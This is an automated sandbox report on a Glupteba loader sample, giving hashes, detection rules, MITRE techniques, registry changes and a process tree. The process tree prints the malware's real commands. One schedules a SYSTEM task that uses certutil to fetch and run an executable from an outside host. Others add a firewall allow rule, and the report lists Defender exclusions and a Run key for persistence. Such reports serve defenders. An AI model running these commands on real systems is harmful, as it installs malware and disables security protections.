glupteba | dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb

Analysis

max time kernel
147s
max time network
149s
platform
windows7_x64
resource
win7-20220414-en
submitted
24-05-2022 21:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Size

3.8MB
MD5

2dfc626b5d8f984fd48d725be44cdc00
SHA1

14560e321f87aa491882861802eae2783d8242fe
SHA256

dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb
SHA512

84fcae44ebeae33b7810e9fcd32edce43f0f9a3e9a53323f63f01640bb1f932d983c71bbe82b90e38f8d6ad22527690a3a8681dc424c36832ff8ba2d0d01c5ef

Score

10^/10

glupteba discovery dropper evasion loader persistence trojan

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 4 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1056-56-0x0000000001900000-0x0000000001FF5000-memory.dmp	family_glupteba
behavioral1/memory/1056-57-0x0000000000400000-0x000000000100C000-memory.dmp	family_glupteba
behavioral1/memory/1888-60-0x0000000000400000-0x000000000100C000-memory.dmp	family_glupteba
behavioral1/memory/1444-70-0x0000000000400000-0x000000000100C000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exe

pid process

1444 csrss.exe
1136 patch.exe
1220
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

pid	process
1444	csrss.exe
1136	patch.exe
1220

Loads dropped DLL 12 IoCs

Processes:

dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exepatch.exe

pid	process
1888	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
1888	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
880
1136	patch.exe
1136	patch.exe
1136	patch.exe
1136	patch.exe
1136	patch.exe
1220
1136	patch.exe
1136	patch.exe
1136	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\58b266ea2548\58b266ea2548 = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\58b266ea2548.exe = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WispyWave = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\WispyWave = "\"C:\\Windows\\rss\\csrss.exe\""	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exemakecab.exe

description	ioc	process
File opened for modification	C:\Windows\rss	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
File created	C:\Windows\rss\csrss.exe	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20220524235531.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

976 schtasks.exe
2000 schtasks.exe

pid	process
976	schtasks.exe
2000	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exedcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe

pid	process
1056	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
1888	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1056	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Token: SeImpersonatePrivilege	1056	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
Token: SeSystemEnvironmentPrivilege	1444	csrss.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.execmd.exe

description	pid	process	target process
PID 1888 wrote to memory of 1532	1888	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe	cmd.exe
PID 1888 wrote to memory of 1532	1888	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe	cmd.exe
PID 1888 wrote to memory of 1532	1888	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe	cmd.exe
PID 1888 wrote to memory of 1532	1888	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe	cmd.exe
PID 1532 wrote to memory of 1944	1532	cmd.exe	netsh.exe
PID 1532 wrote to memory of 1944	1532	cmd.exe	netsh.exe
PID 1532 wrote to memory of 1944	1532	cmd.exe	netsh.exe
PID 1888 wrote to memory of 1444	1888	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe	csrss.exe
PID 1888 wrote to memory of 1444	1888	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe	csrss.exe
PID 1888 wrote to memory of 1444	1888	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe	csrss.exe
PID 1888 wrote to memory of 1444	1888	dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe	csrss.exe

C:\Users\Admin\AppData\Local\Temp\dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
"C:\Users\Admin\AppData\Local\Temp\dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1056

C:\Users\Admin\AppData\Local\Temp\dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe
"C:\Users\Admin\AppData\Local\Temp\dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb.exe"
2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1888

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1532

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies data under HKEY_USERS
PID:1944

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1444

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:976

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:2000

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1136

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220524235531.log C:\Windows\Logs\CBS\CbsPersist_20220524235531.cab
1⤵
